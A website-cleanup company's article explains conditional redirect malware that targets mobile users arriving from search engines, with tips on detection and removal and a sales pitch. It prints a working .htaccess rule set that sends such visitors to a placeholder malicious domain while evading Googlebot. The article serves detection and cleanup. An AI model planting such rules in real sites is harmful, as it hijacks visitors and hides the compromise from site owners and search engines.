Conditional Redirects: Malware That Only Shows Up on Mobile and from Google

Redirects that fire only from smartphones, from Google and for logged-out visitors: how they work in .htaccess and PHP, how to reproduce them with curl and how to remove them.

A smartphone with a search engine logo from which a red arrow leads to an unknown page, while a computer shows the normal site

“It works fine for me.” It is the phrase we hear most often when a site is infected with a conditional redirect. Visitors end up on scam, lottery or pharmacy pages, but the owner, the agency and even some scanners see nothing. That is no accident: these redirects are built precisely to stay hidden from the people who run the site.

The typical conditions

A conditional redirect fires only when the request meets certain criteria, chosen to hit real visitors and avoid everyone else:

  • the visitor comes from a search engine or a social network, checked through the Referer header;
  • uses a smartphone, recognized from the user agent;
  • is not logged in to WordPress, so is not an administrator or an editor;
  • is not a crawler such as Googlebot, so the search engine does not notice;
  • has not already been redirected, thanks to a cookie that lasts days or weeks.

Someone who opens the site by typing the address on the office computer, logged in as an administrator, meets none of these conditions.

In the .htaccess file

On Apache and LiteSpeed the redirect can live entirely in an .htaccess file, with no PHP code at all:

RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo|facebook)\. [NC]
RewriteCond %{HTTP_USER_AGENT} (android|iphone|mobile) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|bingbot) [NC]
RewriteRule ^(.*)$ https://esempio-malevolo.invalid/?s=%{HTTP_HOST} [R=302,L]

The rules are often added at the top of the file, before the WordPress ones, or preceded by many blank lines. And not only in the main folder: every subfolder can have its own .htaccess, and all of them need to be checked with find . -name .htaccess.

In PHP code and in the database

The PHP variants are more flexible: they can check whether the user is logged in, use a list of IP addresses to exclude, and change destination over time. They are found at the bottom of the theme’s functions.php, in a modified plugin, in a must-use plugin, or in JavaScript injected into the database, which performs the redirect in the browser after checking the same conditions.

How to reproduce it

To see the redirect you have to present yourself to the site as the intended victim. With curl you can simulate the user agent and the referrer, with no cookies and no session:

curl -sI \
  -A "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 Mobile Safari/537.36" \
  -e "https://www.google.com/" \
  https://www.esempio.it/articolo/

A 301 or 302 response to an unrelated domain confirms a server-side redirect. If the response is normal, the redirect may be in JavaScript: in that case you need a browser in private mode, with mobile device emulation, arriving from a Google search. Even then, a cookie or an IP address filter can hide it: this is why, when readers report a problem you cannot reproduce, the report should be taken seriously.

The cleanup

Removing the visible rules is not enough if the mechanism that wrote them is still active. Besides the .htaccess files and the PHP code, you need to check the database, scheduled tasks and files that get recreated. In our case study on the publisher site the redirect was stored in a database option and reinserted by SQL triggers: an example of how deep it can hide.

THE NEXT STEP

Is your site
infected?

Every hour counts: the malware keeps hitting visitors and customers, and Google, your host and the blacklists won’t wait. Choose a plan, pay online and share your access: the cleanup starts right away, at a fixed price and with guaranteed times.

Request a cleanup

Takes you to the plans: cleanup within 6, 12 or 24 hours of receiving access.

MANAGED SERVER S.R.L.info@malwarecleanup.com +39 02 5656 9681

Monday – Friday · 9:30am – 7:30pm Italian time (CET)

Prefer an online form?
Contact us at managedserver.it ↗